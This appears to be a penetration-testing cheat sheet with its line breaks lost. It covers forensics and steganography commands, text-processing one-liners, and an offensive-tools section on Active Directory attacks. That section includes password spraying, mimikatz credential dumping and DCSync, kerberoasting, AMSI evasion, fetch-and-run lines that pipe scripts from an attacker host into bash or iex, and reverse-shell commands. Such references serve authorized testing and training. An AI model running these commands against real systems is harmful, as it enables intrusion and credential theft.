file suspiciousexiftool suspiciousstrings -n 8 suspicious | lessxxd suspicious | head -40binwalk -e suspicioussteghide info image.jpgsteghide extract -sf image.jpgzsteg -a image.pngstegseek image.jpg $rockyou7z l archive.7z7z x archive.7zunzip -o archive.zipfcrackzip -u -D -p $rockyou archive.ziptshark -r capture.pcap -q -z io.phstshark -r capture.pcap -Y http.request -T fields -e http.host -e http.request.uritcpflow -r capture.pcapecho 'aGVsbG8=' | base64 -decho '68656c6c6f' | xxd -r -pecho 'uryyb' | tr 'A-Za-z' 'N-ZA-Mn-za-m'python3 -c "import urllib.parse,sys;print(urllib.parse.unquote(sys.argv[1]))" '%68i'checksec --file=./binaryobjdump -d ./binary | lessltrace ./binary; strace ./binarygdb -q ./binarytext wrangling [11]
fastest thing that works when the delimiter is consistent. When it is not, reach for awk
cut -d: -f1 /etc/passwdcut -d: -f1,3,6 /etc/passwdcut -d, -f2 data.csvcut -c1-8 file.txtcut -d' ' -f2- file.txtwhitespace-separated by default, so it copes with the ragged spacing every tool's output has
awk '{print $1}' access.logawk '{print $NF}' file.txtawk -F: '$3 >= 1000 {print $1}' /etc/passwdawk '/admin/ {print $1, $7}' access.logawk 'NR>1 {print}' with-header.csvawk '!seen[$0]++' file.txt-i writes in place. Leave it off until the output on screen is what you want
sed 's/old/new/g' file.txtsed -i 's/old/new/g' file.txtsed -n '5,10p' file.txtsed '/^#/d; /^$/d' config.confsed -n 's/.*NTLM:\(.*\)/\1/p' hashes.mduniq only collapses adjacent lines, so it is always sort first
sort -u file.txt -o file.txtsort file.txt | uniq -c | sort -rn | head -20sort -t: -k3 -n /etc/passwdcomm -12 <(sort a.txt) <(sort b.txt)comm -23 <(sort a.txt) <(sort b.txt)-o with -E is the one to remember — it prints the match rather than the line it was on
grep -rn --include='*.php' -iE 'password|secret|api_key' /var/www 2>/dev/nullgrep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' file.txt | sort -ugrep -oE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+' file.txt | sort -ugrep -oP '(?<=href=")[^"]+' page.html | sort -ugrep -v '^#' config.conf | grep -v '^$'tr 'A-Z' 'a-z' < file.txttr -d '\r' < windows.txt > unix.txttr -s ' ' < ragged.txttr ',' '\n' < list.csvtr -cd '[:print:]\n' < binary-ish.txtthe pipeline you will run on nearly every AD box — scrape names from wherever, land them in $userlist, then spray
impacket-lookupsid guest@$ip -no-pass 10000 \ | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | sort -u > $userlistawk -F: '$3 >= 1000 && $7 !~ /nologin|false/ {print $1}' passwd.txt >> $userlistsort -u -o $userlist $userlistwc -l $userlistfeed it "John Smith" per line and try each shape — you do not know the convention until one authenticates
awk '{print tolower(substr($1,1,1) $2)}' names.txt > u-jsmith.txtawk '{print tolower($1 "." $2)}' names.txt > u-john.smith.txtawk '{print tolower($1 substr($2,1,1))}' names.txt > u-johns.txtcat u-*.txt | sort -u >> $userlistcurl -s http://$ip/api/users | jq .jq -r '.[].username' users.jsonjq -r '.users[] | "\(.name):\(.password)"' dump.jsonjq -r 'keys[]' dump.json-P runs them in parallel. Keep it low against anything with a lockout policy
xargs -a $userlist -I{} nxc smb $ip -u {} -p '' --continue-on-successxargs -a hosts.txt -P 20 -I{} sh -c 'ping -c1 -W1 {} >/dev/null && echo {} up'find . -name '*.conf' -print0 | xargs -0 grep -il passwordcolumn -t -s: /etc/passwdcolumn -t ragged.txtpaste -sd, ports.txtdiff <(sort before.txt) <(sort after.txt)the tools, and where their docs are [12]
PowerUp is the windows privesc checks, PowerView the AD enumeration. Kali ships a copy; the dev branch on github has the newer PowerView. Both are signatured, so they load through the amsi line in on the box > defender first
ls /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 /usr/share/windows-resources/powersploit/Recon/PowerView.ps1powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"iex(iwr http://$lhost:8000/PowerView.ps1 -UseBasicParsing); Get-NetDomainGet-Help Find-LocalAdminAccess -Fullthe privesc enumerators. Read the legend once — red/yellow is "95% a vector", red is "look at it". The apt copies lag the releases
ls /usr/share/peass/linpeas/ /usr/share/peass/winpeas/curl -sL http://$lhost:8000/linpeas.sh | bash -s -- -a 2>&1 | tee $workdir/loot/linpeas.md.\winPEASx64.exe quiet servicesinfo userinfo.\winPEASx64.exe -hevery one of them, what each needs, where to get it, how to compile it and how to run it — on the privileges page under SeImpersonatePrivilege
potatosthe .NET AD tools. None ship a release; SharpCollection rebuilds them nightly per .NET version, which is where the fetch card takes them from. All load through evil-winrm's Invoke-Binary without touching the disk
# https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.7_Any — Rubeus, Certify, Seatbelt, SharpUp, SharpDPAPI, SharpHound and the rest.\Rubeus.exe help.\Rubeus.exe kerberoast /nowrap.\Certify.exe find /vulnerable.\Seatbelt.exe -group=allon kali already. The wiki is the module list — sekurlsa, lsadump, kerberos, dpapi, token. It is the most signatured binary there is after nc; when it is eaten, the same things come out of nxc --sam --lsa, secretsdump, and pypykatz on a minidump
ls /usr/share/windows-resources/mimikatz/x64/mimikatz.exe.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" exit.\mimikatz.exe "lsadump::dcsync /domain:$domain /user:krbtgt" exitthe python AD toolkit — psexec, wmiexec, secretsdump, GetUserSPNs, GetNPUsers, ticketer, ntlmrelayx and sixty more. On kali every script is on the PATH with an impacket- prefix. The examples directory is the documentation
ls /usr/bin/impacket-* | sed 's|.*/impacket-||' | column -c 120impacket-psexec -h# every one takes the same target: [domain/]user[:password]@host, with -hashes :NT or -k -no-pass for a ticketnxc, the maintained crackmapexec. One syntax for smb, ldap, winrm, rdp, mssql, ssh, ftp. The modules are where the one-liners live — laps, gpp_password, spider_plus, lsassy, printnightmare, maq, pre2k
nxc smb -Lnxc ldap -Lnxc smb -M spider_plus --optionsbloodyAD does every ACL edge from kali in one syntax — the bloodhound page is built on it. Certipy is ADCS end to end — find, req, auth, shadow. Both wikis list every subcommand with an example
bloodyAD --host $dc -d $domain -u $user1 -p $pass1 get writable --detailbloodyAD --help; bloodyAD add --help# https://github.com/ly4k/Certipy/wikicertipy find -u "$user1@$domain" -p $pass1 -dc-ip $dc -vulnerable -stdoutthe winrm shell, and the one with tools built in — upload, download, Invoke-Binary for a .NET exe in memory, Bypass-4MSI, and -s to load a directory of ps1 scripts by name
evil-winrm -i $ip -u $user1 -p $pass1 -s $workdir/.tools/ -e $workdir/.tools/# inside: menu upload file download file Invoke-Binary /path/Rubeus.exe kerberoast Bypass-4MSI PowerView.ps1 then Get-NetUserthe two tunnels. ligolo gives you an interface, so nothing needs wrapping; chisel is one static binary and a socks proxy when ligolo will not run. The pivoting phase has the full sequence for each
./proxy -selfcert -laddr 0.0.0.0:11601# https://github.com/jpillora/chisel./chisel server -p 8000 --reverseeach is one command and one readme. kerbrute enumerates users through kerberos with no lockout. pspy watches cron from an unprivileged shell. RunasCs is runas from a shell with no desktop. ConPtyShell is a real windows tty. wesng turns systeminfo into a list of missing patches
# https://github.com/ropnop/kerbrute kerbrute userenum -d $domain --dc $dc $userlist# https://github.com/DominicBreuker/pspy ./pspy64 -pf -i 1000# https://github.com/antonioCoco/RunasCs .\RunasCs.exe $user2 $pass2 cmd -r $lhost:$lport# https://github.com/antonioCoco/ConPtyShell IEX(IWR http://$lhost:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell $lhost $lport# https://github.com/bitsadmin/wesng python3 wes.py sysinfo.md -i 'Elevation of Privilege' --exploits-onlyGTFOBins, LOLBAS, WADComs, PayloadsAllTheThings, InternalAllTheThings and the reverse shell generator are all under /refs/, searchable with everything else. HackTricks is the one that is not — the enumeration checklist links into it per service
# /refs/gtfobins/ sudo, suid, capabilities — what a binary can be made to do# /refs/lolbas/ the windows equivalent — certutil, msbuild, regsvr32, rundll32# /refs/wadcoms/ windows and AD commands, by what you have and what you want# /refs/payloads/ PayloadsAllTheThings — every web injection with its payload list# /refs/internal/ InternalAllTheThings — the AD half of the same# /refs/revshells/ the reverse shell generator, offlineno matches